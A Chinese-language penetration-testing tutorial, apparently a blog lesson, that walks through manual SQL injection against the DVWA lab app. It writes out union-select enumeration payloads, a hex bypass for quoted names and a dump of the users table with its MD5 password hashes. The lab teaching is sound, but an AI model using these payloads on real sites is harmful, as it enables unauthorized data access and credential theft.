黑客零基础第三章-Web漏洞利用第八节-SQL注入利用

        本节介绍了SQL注入(非盲注),让读者理解SQL注入的利用场景和利用手段。常用的利用方法一个是读取数据库数据,直接获取有价值数据,如管理员信息等。如果数据库具备写Web目录的权限,可以直接通过SQL注入写入一句话木马完成入侵。演示了如何通过DVWA的SQL注入模块手工进行SQL注入。后续章节,会有vulnhub的靶机进行实战练习,理解SQL注入的利用方法。

目录

1.场景

2.SQL注入简介

2.1注入过程

2.2注入方法

3.DVWA SQL注入简介

4.通过SQL注入读取系统用户名密码​​​​​​​

5.总结


1.场景


虚拟机:vmware

攻击主机:kali

IP:192.168.239.142

靶机:Windows10

IP:192.168.239.1

服务:xampp启动的DVWA

2.SQL注入简介

        SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2.1注入过程

第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。

第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。

第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

2.2注入方法

  • 数字型注入

        当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

  • 字符型注入

        当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

3.DVWA SQL注入简介

此代码为medium级别,没有对传入的id进行验证,非常明显的SQL注入,

前端输入框限制了输入,

 不是GET协议,无法随意从URL输入SQL注入的命令。

 可以使用burp进行前端限制的绕过,

4.通过SQL注入读取系统用户名密码

  • SQL注入点探测

将刚在截获的包send to repeater,然后确定注入点,

id=1'

 id确实是注入点。

  • 收集后台数据库信息

从上面操作后出错信息看,是MariaDB,也就是一个mysql。使用mysql的方法继续注入

  • 猜解用户名和密码

其实使用最简单的方法就可以获得admin的用户名密码,

id=1 and 1=1 # 

但我们为了深入学习sql注入原理,想办法一步一步获取数据库,数据库表,数据表字段,数据表值,最后读取admin信息。

1)order by 获取当前表的列数

id=1 order by X 

 X 从1开始遍历,每次加一,查看页面返回信息,直到出错。出错前的X就是列的个数。

X=2正常。

 X=3异常,说明只有两列。

2)union select 寻找页面信息反馈

id=1 union select 1,2 # 

3) 查看数据库类型

id=1 union select 1,@@version # &Submit=Submit

 上图中的2,显示了查询信息,是MariaDB。

 4)查看当前数据库用户和数据库

id=1 union select user(),database()# 

数据库名为dvwa。

 5) 获取数据库中的表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

表为guestbook和users。

6) 获取users表的列

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 

'users'被转义了。可以通过16进制绕过,使用burp decoder翻译users16进制0x7573657273 。

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # 

 得到的列为,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

7) 查询表中的用户名密码

表中的user和password字段肯定保存用户名密码

id=1 union select group_concat(user),group_concat(password) from users #

得到的用户名密码列表如下

namepassword
 admin5f4dcc3b5aa765d61d8327deb882cf99
gordonbe99a18c428cb38d5f260853678922e03
13378d3533d75ae2c3966d7e0d4fcc69216b
pablo0d107d09f5bbe40cade3de5c71e9e9b7
smithy5f4dcc3b5aa765d61d8327deb882cf99

这些密码貌似是md5存储, cmd5.com中直接查询admin的密码,为password

5.总结

        本节通过DVWA的SQL注入模块演示了如何进行手工SQL注入。掌握手工SQL注入,对于大家理解SQL注入原理有很大的帮助。OSCP考试中是不允许使用sqlmap工具,熟悉sqlmap的使用方法对实际环境中进行渗透提供了便利。后续章节会以vulnhub靶机pwnos 2.0为例,演示模拟利用sql注入。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值